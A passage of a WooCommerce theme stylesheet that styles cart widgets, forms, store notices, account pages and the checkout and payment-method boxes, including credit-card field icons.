}
.woocommerce ul.cart_list li a,
.woocommerce ul.product_list_widget li a {
  display: block;
  font-weight: 700;
}
.woocommerce ul.cart_list li img,
.woocommerce ul.product_list_widget li img {
  float: right;
  margin-left: 4px;
  width: 32px;
  height: auto;
  box-shadow: none;
}
.woocommerce ul.cart_list li dl,
.woocommerce ul.product_list_widget li dl {
  margin: 0;
  padding-left: 1em;
  border-left: 2px solid var(--pcborder-cl);
  *zoom: 1;
}
.woocommerce ul.cart_list li dl::before, .woocommerce ul.cart_list li dl::after,
.woocommerce ul.product_list_widget li dl::before,
.woocommerce ul.product_list_widget li dl::after {
  content: " ";
  display: table;
}
.woocommerce ul.cart_list li dl::after,
.woocommerce ul.product_list_widget li dl::after {
  clear: both;
}
.woocommerce ul.cart_list li dl dt,
.woocommerce ul.cart_list li dl dd,
.woocommerce ul.product_list_widget li dl dt,
.woocommerce ul.product_list_widget li dl dd {
  display: inline-block;
  float: left;
  margin-bottom: 1em;
}
.woocommerce ul.cart_list li dl dt,
.woocommerce ul.product_list_widget li dl dt {
  font-weight: 700;
  padding: 0 0 0.25em;
  margin: 0 4px 0 0;
  clear: left;
}
.woocommerce ul.cart_list li dl dd,
.woocommerce ul.product_list_widget li dl dd {
  padding: 0 0 0.25em;
}
.woocommerce ul.cart_list li dl dd p:last-child,
.woocommerce ul.product_list_widget li dl dd p:last-child {
  margin-bottom: 0;
}
.woocommerce ul.cart_list li .star-rating,
.woocommerce ul.product_list_widget li .star-rating {
  float: none;
}
.woocommerce.widget_shopping_cart .total,
.woocommerce .widget_shopping_cart .total {
  border-top: 3px double #ebe9eb;
  padding: 4px 0 0;
}
.woocommerce.widget_shopping_cart .total strong,
.woocommerce .widget_shopping_cart .total strong {
  min-width: 40px;
  display: inline-block;
}
.woocommerce.widget_shopping_cart .cart_list li,
.woocommerce .widget_shopping_cart .cart_list li {
  padding-left: 2em;
  position: relative;
  padding-top: 0;
}
.woocommerce.widget_shopping_cart .cart_list li a.remove,
.woocommerce .widget_shopping_cart .cart_list li a.remove {
  position: absolute;
  top: 0;
  left: 0;
}
.woocommerce.widget_shopping_cart .buttons,
.woocommerce .widget_shopping_cart .buttons {
  *zoom: 1;
}
.woocommerce.widget_shopping_cart .buttons::before, .woocommerce.widget_shopping_cart .buttons::after,
.woocommerce .widget_shopping_cart .buttons::before,
.woocommerce .widget_shopping_cart .buttons::after {
  content: " ";
  display: table;
}
.woocommerce.widget_shopping_cart .buttons::after,
.woocommerce .widget_shopping_cart .buttons::after {
  clear: both;
}
.woocommerce.widget_shopping_cart .buttons a,
.woocommerce .widget_shopping_cart .buttons a {
  margin-right: 5px;
  margin-bottom: 5px;
}
.woocommerce form .form-row {
  padding: 3px;
  margin: 0 0 6px;
}
.woocommerce form .form-row [placeholder]:focus::-webkit-input-placeholder {
  transition: opacity 0.5s 0.5s ease;
  opacity: 0;
}
.woocommerce form .form-row label {
  line-height: 2;
}
.woocommerce form .form-row label.hidden {
  visibility: hidden;
}
.woocommerce form .form-row label.inline {
  display: inline;
}
.woocommerce form .form-row .woocommerce-input-wrapper .description {
  background: #1e85be;
  color: #fff;
  border-radius: 3px;
  padding: 1em;
  margin: 0.5em 0 0;
  clear: both;
  display: none;
  position: relative;
}
.woocommerce form .form-row .woocommerce-input-wrapper .description a {
  color: #fff;
  text-decoration: underline;
  border: 0;
  box-shadow: none;
}
.woocommerce form .form-row .woocommerce-input-wrapper .description::before {
  left: 50%;
  top: 0%;
  margin-top: -4px;
  transform: translateX(-50%) rotate(180deg);
  content: "";
  position: absolute;
  border-width: 4px 6px 0 6px;
  border-style: solid;
  border-color: #1e85be transparent transparent transparent;
  z-index: 100;
  display: block;
}
.woocommerce form .form-row select {
  cursor: pointer;
  margin: 0;
}
.woocommerce form .form-row .required {
  color: red;
  font-weight: 700;
  border: 0 !important;
  text-decoration: none;
}
.woocommerce form .form-row .optional {
  visibility: visible;
}
.woocommerce form .form-row .input-checkbox {
  display: inline;
  margin: -2px 8px 0 0;
  text-align: center;
  vertical-align: middle;
}
.woocommerce form .form-row input.input-text,
.woocommerce form .form-row textarea {
  box-sizing: border-box;
  width: 100%;
  margin: 0;
  outline: 0;
}
.woocommerce form .form-row textarea {
  height: 4em;
  line-height: 1.5;
  display: block;
  box-shadow: none;
}
.woocommerce form .form-row .select2-container {
  width: 100%;
  line-height: 2em;
}
.woocommerce form .form-row.woocommerce-invalid label {
  color: #a00;
}
.woocommerce form .form-row.woocommerce-invalid .select2-container,
.woocommerce form .form-row.woocommerce-invalid input.input-text,
.woocommerce form .form-row.woocommerce-invalid select {
  border-color: #a00;
}
.woocommerce form .form-row.woocommerce-validated .select2-container,
.woocommerce form .form-row.woocommerce-validated input.input-text,
.woocommerce form .form-row.woocommerce-validated select {
  border-color: #6dc22e;
}
.woocommerce form .form-row ::-webkit-input-placeholder {
  line-height: normal;
}
.woocommerce form .form-row :-moz-placeholder {
  line-height: normal;
}
.woocommerce form .form-row :-ms-input-placeholder {
  line-height: normal;
}
.woocommerce form.login,
.woocommerce form.checkout_coupon,
.woocommerce form.register {
  border: 1px solid #d3ced2;
  padding: 20px;
  margin: 2em 0;
  text-align: left;
  border-radius: 5px;
}
.woocommerce ul#shipping_method {
  list-style: none outside;
  margin: 0;
  padding: 0;
}
.woocommerce ul#shipping_method li {
  margin: 0 0 0.5em;
  line-height: 1.5em;
  list-style: none outside;
}
.woocommerce ul#shipping_method li input {
  margin: 3px 0.4375em 0 0;
  vertical-align: top;
}
.woocommerce ul#shipping_method li label {
  display: inline;
}
.woocommerce ul#shipping_method .amount {
  font-weight: 700;
}
.woocommerce p.woocommerce-shipping-contents {
  margin: 0;
}
.woocommerce ul.order_details {
  *zoom: 1;
  margin: 0 0 3em;
  list-style: none;
}
.woocommerce ul.order_details::before, .woocommerce ul.order_details::after {
  content: " ";
  display: table;
}
.woocommerce ul.order_details::after {
  clear: both;
}
.woocommerce ul.order_details li {
  float: left;
  margin-right: 2em;
  text-transform: uppercase;
  font-size: 0.715em;
  line-height: 1;
  border-right: 1px dashed #d3ced2;
  padding-right: 2em;
  margin-left: 0;
  padding-left: 0;
  list-style-type: none;
}
.woocommerce ul.order_details li strong {
  display: block;
  font-size: 1.4em;
  text-transform: none;
  line-height: 1.5;
}
.woocommerce ul.order_details li:last-of-type {
  border: none;
}
.woocommerce .wc-bacs-bank-details-account-name {
  font-weight: bold;
}
.woocommerce .woocommerce-order-downloads,
.woocommerce .woocommerce-customer-details,
.woocommerce .woocommerce-order-details {
  margin-bottom: 2em;
}
.woocommerce .woocommerce-order-downloads *:last-child,
.woocommerce .woocommerce-customer-details *:last-child,
.woocommerce .woocommerce-order-details *:last-child {
  margin-bottom: 0;
}
.woocommerce .woocommerce-customer-details address {
  font-style: normal;
  margin-bottom: 0;
  border: 1px solid var(--pcborder-cl);
  border-bottom-width: 2px;
  border-right-width: 2px;
  text-align: left;
  width: 100%;
  border-radius: 5px;
  padding: 6px 12px;
}
.woocommerce .woocommerce-customer-details .woocommerce-customer-details--phone,
.woocommerce .woocommerce-customer-details .woocommerce-customer-details--email {
  margin-bottom: 0;
  padding-left: 1.5em;
}
.woocommerce .woocommerce-customer-details .woocommerce-customer-details--phone::before {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-right: 0.618em;
  content: "";
  text-decoration: none;
  margin-left: -1.5em;
  line-height: 1.75;
  position: absolute;
}
.woocommerce .woocommerce-customer-details .woocommerce-customer-details--email::before {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-right: 0.618em;
  content: "";
  text-decoration: none;
  margin-left: -1.5em;
  line-height: 1.75;
  position: absolute;
}
.woocommerce .woocommerce-widget-layered-nav-list {
  margin: 0;
  padding: 0;
  border: 0;
  list-style: none outside;
}
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item {
  *zoom: 1;
  padding: 0 0 1px;
  list-style: none;
}
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item::before, .woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item::after {
  content: " ";
  display: table;
}
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item::after {
  clear: both;
}
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item a,
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item span {
  padding: 1px 0;
}
.woocommerce .woocommerce-widget-layered-nav-list .woocommerce-widget-layered-nav-list__item--chosen a::before {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-right: 0.618em;
  content: "";
  text-decoration: none;
  color: #a00;
}
.woocommerce .woocommerce-widget-layered-nav-dropdown__submit {
  margin-top: 1em;
}
.woocommerce .widget_layered_nav_filters ul {
  /*margin: 0;
  padding: 0;
  border: 0;*/
  list-style: none outside;
  overflow: hidden;
  zoom: 1;
}
.woocommerce .widget_layered_nav_filters ul li {
  float: left;
  padding: 0 1em 1px 1px;
  list-style: none;
  border: 0;
}
.woocommerce .widget_layered_nav_filters ul li a {
  text-decoration: none;
}
.woocommerce .widget_layered_nav_filters ul li a::before {
  font-family: penciicon, Serif;
  content: "";
  color: black;
  font-size: 10px;
  margin-right: 0.5em;
}
.woocommerce .widget_price_filter .price_slider {
  margin-bottom: 1em;
}
.woocommerce .widget_price_filter .price_slider_amount {
  text-align: right;
  line-height: 2.4;
  font-size: 0.8751em;
}
.woocommerce .widget_price_filter .price_slider_amount .button {
  font-size: 1.15em;
  float: left;
}
.woocommerce .widget_price_filter .ui-slider {
  position: relative;
  text-align: left;
  margin-left: 0.5em;
  margin-right: 0.5em;
}
.woocommerce .widget_price_filter .ui-slider .ui-slider-handle {
  position: absolute;
  z-index: 2;
  width: 1em;
  height: 1em;
  background-color: #a46497;
  border-radius: 1em;
  cursor: ew-resize;
  outline: none;
  top: -0.3em;
  /* rtl:ignore */
  margin-left: -0.5em;
}
.woocommerce .widget_price_filter .ui-slider .ui-slider-range {
  position: absolute;
  z-index: 1;
  font-size: 0.7em;
  display: block;
  border: 0;
  border-radius: 1em;
  background-color: #a46497;
}
.woocommerce .widget_price_filter .price_slider_wrapper .ui-widget-content {
  border-radius: 1em;
  background-color: #462940;
  border: 0;
}
.woocommerce .widget_price_filter .ui-slider-horizontal {
  height: 0.5em;
}
.woocommerce .widget_price_filter .ui-slider-horizontal .ui-slider-range {
  top: 0;
  height: 100%;
}
.woocommerce .widget_price_filter .ui-slider-horizontal .ui-slider-range-min {
  left: -1px;
}
.woocommerce .widget_price_filter .ui-slider-horizontal .ui-slider-range-max {
  right: -1px;
}
.woocommerce .widget_rating_filter ul {
  margin: 0;
  padding: 0;
  border: 0;
  list-style: none outside;
}
.woocommerce .widget_rating_filter ul li {
  *zoom: 1;
  padding: 0 0 1px;
  list-style: none;
}
.woocommerce .widget_rating_filter ul li::before, .woocommerce .widget_rating_filter ul li::after {
  content: " ";
  display: table;
}
.woocommerce .widget_rating_filter ul li::after {
  clear: both;
}
.woocommerce .widget_rating_filter ul li a {
  padding: 1px 0;
  text-decoration: none;
}
.woocommerce .widget_rating_filter ul li .star-rating {
  float: none;
  display: inline-block;
}
.woocommerce .widget_rating_filter ul li.chosen a::before {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-right: 0.618em;
  content: "";
  text-decoration: none;
  color: #a00;
}
.woocommerce .woocommerce-form-login .woocommerce-form-login__submit {
  float: left;
  margin-right: 1em;
}
.woocommerce .woocommerce-form-login .woocommerce-form-login__rememberme {
  display: inline-block;
}

.woocommerce-no-js form.woocommerce-form-login,
.woocommerce-no-js form.woocommerce-form-coupon {
  display: block !important;
}
.woocommerce-no-js .woocommerce-form-login-toggle,
.woocommerce-no-js .woocommerce-form-coupon-toggle,
.woocommerce-no-js .showcoupon {
  display: none !important;
}

.woocommerce-message,
.woocommerce-error,
.woocommerce-info {
  padding: 1em 2em 1em 3.5em;
  margin: 0 0 2em;
  position: relative;
  background-color: #f7f6f7;
  color: #515151;
  border-top: 3px solid #a46497;
  list-style: none outside;
  *zoom: 1;
  width: auto;
  word-wrap: break-word;
}
.woocommerce-message::before, .woocommerce-message::after,
.woocommerce-error::before,
.woocommerce-error::after,
.woocommerce-info::before,
.woocommerce-info::after {
  content: " ";
  display: table;
}
.woocommerce-message::after,
.woocommerce-error::after,
.woocommerce-info::after {
  clear: both;
}
.woocommerce-message::before,
.woocommerce-error::before,
.woocommerce-info::before {
  font-family: "WooCommerce";
  content: "";
  display: inline-block;
  position: absolute;
  top: 1em;
  left: 1.5em;
}
.woocommerce-message .button,
.woocommerce-error .button,
.woocommerce-info .button {
  float: right;
}
.woocommerce-message li,
.woocommerce-error li,
.woocommerce-info li {
  list-style: none outside !important;
  padding-left: 0 !important;
  margin-left: 0 !important;
}

/**
 * Right to left styles
 */
.rtl.woocommerce .price_label,
.rtl.woocommerce .price_label span {
  /* rtl:ignore */
  direction: ltr;
  unicode-bidi: embed;
}

.woocommerce-message {
  border-top-color: #8fae1b;
}
.woocommerce-message::before {
  content: "";
  color: #8fae1b;
}

.woocommerce-info {
  border-top-color: #1e85be;
}
.woocommerce-info::before {
  color: #1e85be;
}

.woocommerce-error {
  border-top-color: #b81c23;
}
.woocommerce-error::before {
  content: "";
  color: #b81c23;
}

/**
 * Account page
 */
.woocommerce-account .woocommerce {
  *zoom: 1;
}
.woocommerce-account .woocommerce::before, .woocommerce-account .woocommerce::after {
  content: " ";
  display: table;
}
.woocommerce-account .woocommerce::after {
  clear: both;
}
.woocommerce-account .addresses .title {
  *zoom: 1;
}
.woocommerce-account .addresses .title::before, .woocommerce-account .addresses .title::after {
  content: " ";
  display: table;
}
.woocommerce-account .addresses .title::after {
  clear: both;
}
.woocommerce-account .addresses .title h3 {
  float: left;
}
.woocommerce-account .addresses .title .edit {
  float: right;
}
.woocommerce-account ol.commentlist.notes li.note p.meta {
  font-weight: 700;
  margin-bottom: 0;
}
.woocommerce-account ol.commentlist.notes li.note .description p:last-child {
  margin-bottom: 0;
}
.woocommerce-account ul.digital-downloads {
  margin-left: 0;
  padding-left: 0;
}
.woocommerce-account ul.digital-downloads li {
  list-style: none;
  margin-left: 0;
  padding-left: 0;
}
.woocommerce-account ul.digital-downloads li::before {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-right: 0.618em;
  content: "";
  text-decoration: none;
}
.woocommerce-account ul.digital-downloads li .count {
  float: right;
}

/**
 * Cart/checkout page
 */
.woocommerce-cart table.cart .product-thumbnail,
.woocommerce-checkout table.cart .product-thumbnail,
#add_payment_method table.cart .product-thumbnail {
  min-width: 32px;
}
.woocommerce-cart table.cart img,
.woocommerce-checkout table.cart img,
#add_payment_method table.cart img {
  width: 32px;
  box-shadow: none;
}
.woocommerce-cart table.cart th,
.woocommerce-cart table.cart td,
.woocommerce-checkout table.cart th,
.woocommerce-checkout table.cart td,
#add_payment_method table.cart th,
#add_payment_method table.cart td {
  vertical-align: middle;
}
.woocommerce-cart table.cart td.actions .coupon .input-text,
.woocommerce-checkout table.cart td.actions .coupon .input-text,
#add_payment_method table.cart td.actions .coupon .input-text {
  float: left;
  box-sizing: border-box;
  border: 1px solid #d3ced2;
  padding: 6px 6px 5px;
  margin: 0 4px 0 0;
  outline: 0;
}
.woocommerce-cart table.cart input,
.woocommerce-checkout table.cart input,
#add_payment_method table.cart input {
  margin: 0;
  vertical-align: middle;
}
.woocommerce-cart .wc-proceed-to-checkout,
.woocommerce-checkout .wc-proceed-to-checkout,
#add_payment_method .wc-proceed-to-checkout {
  *zoom: 1;
  padding: 1em 0;
}
.woocommerce-cart .wc-proceed-to-checkout::before, .woocommerce-cart .wc-proceed-to-checkout::after,
.woocommerce-checkout .wc-proceed-to-checkout::before,
.woocommerce-checkout .wc-proceed-to-checkout::after,
#add_payment_method .wc-proceed-to-checkout::before,
#add_payment_method .wc-proceed-to-checkout::after {
  content: " ";
  display: table;
}
.woocommerce-cart .wc-proceed-to-checkout::after,
.woocommerce-checkout .wc-proceed-to-checkout::after,
#add_payment_method .wc-proceed-to-checkout::after {
  clear: both;
}
.woocommerce-cart .wc-proceed-to-checkout a.checkout-button,
.woocommerce-checkout .wc-proceed-to-checkout a.checkout-button,
#add_payment_method .wc-proceed-to-checkout a.checkout-button {
  display: block;
  text-align: center;
  margin-bottom: 1em;
  font-size: 1.25em;
  padding: 1em;
}
.woocommerce-cart .cart-collaterals .shipping-calculator-button,
.woocommerce-checkout .cart-collaterals .shipping-calculator-button,
#add_payment_method .cart-collaterals .shipping-calculator-button {
  float: none;
  margin-top: 0.5em;
  display: inline-block;
}
.woocommerce-cart .cart-collaterals .shipping-calculator-button::after,
.woocommerce-checkout .cart-collaterals .shipping-calculator-button::after,
#add_payment_method .cart-collaterals .shipping-calculator-button::after {
  font-family: "WooCommerce";
  speak: never;
  font-weight: normal;
  font-variant: normal;
  text-transform: none;
  line-height: 1;
  -webkit-font-smoothing: antialiased;
  margin-left: 0.618em;
  content: "";
  text-decoration: none;
}
.woocommerce-cart .cart-collaterals .shipping-calculator-form,
.woocommerce-checkout .cart-collaterals .shipping-calculator-form,
#add_payment_method .cart-collaterals .shipping-calculator-form {
  margin: 1em 0 0 0;
}
.woocommerce-cart .cart-collaterals .cart_totals p small,
.woocommerce-checkout .cart-collaterals .cart_totals p small,
#add_payment_method .cart-collaterals .cart_totals p small {
  color: #767676;
  font-size: 0.83em;
}
.woocommerce-cart .cart-collaterals .cart_totals table,
.woocommerce-checkout .cart-collaterals .cart_totals table,
#add_payment_method .cart-collaterals .cart_totals table {
  border-collapse: separate;
  margin: 0 0 6px;
  padding: 0;
}
.woocommerce-cart .cart-collaterals .cart_totals table tr:first-child th,
.woocommerce-cart .cart-collaterals .cart_totals table tr:first-child td,
.woocommerce-checkout .cart-collaterals .cart_totals table tr:first-child th,
.woocommerce-checkout .cart-collaterals .cart_totals table tr:first-child td,
#add_payment_method .cart-collaterals .cart_totals table tr:first-child th,
#add_payment_method .cart-collaterals .cart_totals table tr:first-child td {
  border-top: 0;
}
.woocommerce-cart .cart-collaterals .cart_totals table th,
.woocommerce-checkout .cart-collaterals .cart_totals table th,
#add_payment_method .cart-collaterals .cart_totals table th {
  width: 35%;
}
.woocommerce-cart .cart-collaterals .cart_totals table td,
.woocommerce-cart .cart-collaterals .cart_totals table th,
.woocommerce-checkout .cart-collaterals .cart_totals table td,
.woocommerce-checkout .cart-collaterals .cart_totals table th,
#add_payment_method .cart-collaterals .cart_totals table td,
#add_payment_method .cart-collaterals .cart_totals table th {
  vertical-align: top;
  border-left: 0;
  border-right: 0;
  line-height: 1.5em;
}
.woocommerce-cart .cart-collaterals .cart_totals table small,
.woocommerce-checkout .cart-collaterals .cart_totals table small,
#add_payment_method .cart-collaterals .cart_totals table small {
  color: #767676;
}
.woocommerce-cart .cart-collaterals .cart_totals table select,
.woocommerce-checkout .cart-collaterals .cart_totals table select,
#add_payment_method .cart-collaterals .cart_totals table select {
  width: 100%;
}
.woocommerce-cart .cart-collaterals .cart_totals .discount td,
.woocommerce-checkout .cart-collaterals .cart_totals .discount td,
#add_payment_method .cart-collaterals .cart_totals .discount td {
  color: #77a464;
}
.woocommerce-cart .cart-collaterals .cart_totals tr td,
.woocommerce-cart .cart-collaterals .cart_totals tr th,
.woocommerce-checkout .cart-collaterals .cart_totals tr td,
.woocommerce-checkout .cart-collaterals .cart_totals tr th,
#add_payment_method .cart-collaterals .cart_totals tr td,
#add_payment_method .cart-collaterals .cart_totals tr th {
  border-top: 1px solid #ebe9eb;
}
.woocommerce-cart .cart-collaterals .cart_totals .woocommerce-shipping-destination,
.woocommerce-checkout .cart-collaterals .cart_totals .woocommerce-shipping-destination,
#add_payment_method .cart-collaterals .cart_totals .woocommerce-shipping-destination {
  margin-bottom: 0;
}
.woocommerce-cart .cart-collaterals .cross-sells ul.products li.product,
.woocommerce-checkout .cart-collaterals .cross-sells ul.products li.product,
#add_payment_method .cart-collaterals .cross-sells ul.products li.product {
  margin-top: 0;
}
.woocommerce-cart .checkout .col-2 h3#ship-to-different-address,
.woocommerce-checkout .checkout .col-2 h3#ship-to-different-address,
#add_payment_method .checkout .col-2 h3#ship-to-different-address {
  float: left;
  clear: none;
}
.woocommerce-cart .checkout .col-2 .notes,
.woocommerce-checkout .checkout .col-2 .notes,
#add_payment_method .checkout .col-2 .notes {
  clear: left;
}
.woocommerce-cart .checkout .col-2 .form-row-first,
.woocommerce-checkout .checkout .col-2 .form-row-first,
#add_payment_method .checkout .col-2 .form-row-first {
  clear: left;
}
.woocommerce-cart .checkout .create-account small,
.woocommerce-checkout .checkout .create-account small,
#add_payment_method .checkout .create-account small {
  font-size: 11px;
  color: #767676;
  font-weight: normal;
}
.woocommerce-cart .checkout div.shipping-address,
.woocommerce-checkout .checkout div.shipping-address,
#add_payment_method .checkout div.shipping-address {
  padding: 0;
  clear: left;
  width: 100%;
}
.woocommerce-cart .checkout .shipping_address,
.woocommerce-checkout .checkout .shipping_address,
#add_payment_method .checkout .shipping_address {
  clear: both;
}
.woocommerce-cart #payment,
.woocommerce-checkout #payment,
#add_payment_method #payment {
  background: #ebe9eb;
  border-radius: 5px;
}
.woocommerce-cart #payment ul.payment_methods,
.woocommerce-checkout #payment ul.payment_methods,
#add_payment_method #payment ul.payment_methods {
  *zoom: 1;
  text-align: left;
  padding: 1em;
  border-bottom: 1px solid #d3ced2;
  margin: 0;
  list-style: none outside;
}
.woocommerce-cart #payment ul.payment_methods::before, .woocommerce-cart #payment ul.payment_methods::after,
.woocommerce-checkout #payment ul.payment_methods::before,
.woocommerce-checkout #payment ul.payment_methods::after,
#add_payment_method #payment ul.payment_methods::before,
#add_payment_method #payment ul.payment_methods::after {
  content: " ";
  display: table;
}
.woocommerce-cart #payment ul.payment_methods::after,
.woocommerce-checkout #payment ul.payment_methods::after,
#add_payment_method #payment ul.payment_methods::after {
  clear: both;
}
.woocommerce-cart #payment ul.payment_methods li,
.woocommerce-checkout #payment ul.payment_methods li,
#add_payment_method #payment ul.payment_methods li {
  line-height: 2;
  text-align: left;
  margin: 0;
  font-weight: normal;
}
.woocommerce-cart #payment ul.payment_methods li input,
.woocommerce-checkout #payment ul.payment_methods li input,
#add_payment_method #payment ul.payment_methods li input {
  margin: 0 1em 0 0;
}
.woocommerce-cart #payment ul.payment_methods li img,
.woocommerce-checkout #payment ul.payment_methods li img,
#add_payment_method #payment ul.payment_methods li img {
  vertical-align: middle;
  margin: -2px 0 0 0.5em;
  padding: 0;
  position: relative;
  box-shadow: none;
}
.woocommerce-cart #payment ul.payment_methods li img + img,
.woocommerce-checkout #payment ul.payment_methods li img + img,
#add_payment_method #payment ul.payment_methods li img + img {
  margin-left: 2px;
}
.woocommerce-cart #payment ul.payment_methods li:not(.woocommerce-notice),
.woocommerce-checkout #payment ul.payment_methods li:not(.woocommerce-notice),
#add_payment_method #payment ul.payment_methods li:not(.woocommerce-notice) {
  *zoom: 1;
}
.woocommerce-cart #payment ul.payment_methods li:not(.woocommerce-notice)::before, .woocommerce-cart #payment ul.payment_methods li:not(.woocommerce-notice)::after,
.woocommerce-checkout #payment ul.payment_methods li:not(.woocommerce-notice)::before,
.woocommerce-checkout #payment ul.payment_methods li:not(.woocommerce-notice)::after,
#add_payment_method #payment ul.payment_methods li:not(.woocommerce-notice)::before,
#add_payment_method #payment ul.payment_methods li:not(.woocommerce-notice)::after {
  content: " ";
  display: table;
}
.woocommerce-cart #payment ul.payment_methods li:not(.woocommerce-notice)::after,
.woocommerce-checkout #payment ul.payment_methods li:not(.woocommerce-notice)::after,
#add_payment_method #payment ul.payment_methods li:not(.woocommerce-notice)::after {
  clear: both;
}
.woocommerce-cart #payment div.form-row,
.woocommerce-checkout #payment div.form-row,
#add_payment_method #payment div.form-row {
  padding: 1em;
}
.woocommerce-cart #payment div.payment_box,
.woocommerce-checkout #payment div.payment_box,
#add_payment_method #payment div.payment_box {
  position: relative;
  box-sizing: border-box;
  width: 100%;
  padding: 1em;
  margin: 1em 0;
  font-size: 0.92em;
  border-radius: 2px;
  line-height: 1.5;
  background-color: #dfdcde;
  color: #515151;
}
.woocommerce-cart #payment div.payment_box input.input-text,
.woocommerce-cart #payment div.payment_box textarea,
.woocommerce-checkout #payment div.payment_box input.input-text,
.woocommerce-checkout #payment div.payment_box textarea,
#add_payment_method #payment div.payment_box input.input-text,
#add_payment_method #payment div.payment_box textarea {
  border-color: #c7c1c6;
  border-top-color: #bbb3b9;
}
.woocommerce-cart #payment div.payment_box ::-webkit-input-placeholder,
.woocommerce-checkout #payment div.payment_box ::-webkit-input-placeholder,
#add_payment_method #payment div.payment_box ::-webkit-input-placeholder {
  color: #bbb3b9;
}
.woocommerce-cart #payment div.payment_box :-moz-placeholder,
.woocommerce-checkout #payment div.payment_box :-moz-placeholder,
#add_payment_method #payment div.payment_box :-moz-placeholder {
  color: #bbb3b9;
}
.woocommerce-cart #payment div.payment_box :-ms-input-placeholder,
.woocommerce-checkout #payment div.payment_box :-ms-input-placeholder,
#add_payment_method #payment div.payment_box :-ms-input-placeholder {
  color: #bbb3b9;
}
.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods,
.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods,
#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods {
  list-style: none outside;
  margin: 0;
}
.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token,
.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new,
.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token,
.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new,
#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token,
#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new {
  margin: 0 0 0.5em;
}
.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token label,
.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new label,
.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token label,
.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new label,
#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-token label,
#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-new label {
  cursor: pointer;
}
.woocommerce-cart #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-tokenInput,
.woocommerce-checkout #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-tokenInput,
#add_payment_method #payment div.payment_box .woocommerce-SavedPaymentMethods .woocommerce-SavedPaymentMethods-tokenInput {
  vertical-align: middle;
  margin: -3px 1em 0 0;
  position: relative;
}
.woocommerce-cart #payment div.payment_box .wc-credit-card-form,
.woocommerce-checkout #payment div.payment_box .wc-credit-card-form,
#add_payment_method #payment div.payment_box .wc-credit-card-form {
  border: 0;
  padding: 0;
  margin: 1em 0 0;
}
.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number,
.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry,
.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc,
.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number,
.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry,
.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc,
#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number,
#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry,
#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc {
  font-size: 1.5em;
  padding: 8px;
  background-repeat: no-repeat;
  background-position: right 0.618em center;
  background-size: 32px 20px;
}
.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number.visa,
.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry.visa,
.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc.visa,
.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-number.visa,
.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-expiry.visa,
.woocommerce-checkout #payment div.payment_box .wc-credit-card-form-card-cvc.visa,
#add_payment_method #payment div.payment_box .wc-credit-card-form-card-number.visa,
#add_payment_method #payment div.payment_box .wc-credit-card-form-card-expiry.visa,
#add_payment_method #payment div.payment_box .wc-credit-card-form-card-cvc.visa {
  background-image: url("../../../../../../plugins/woocommerce/assets/images/icons/credit-cards/visa.svg");
}
.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-number.mastercard,
.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-expiry.mastercard,
.woocommerce-cart #payment div.payment_box .wc-credit-card-form-card-cvc.mastercard,
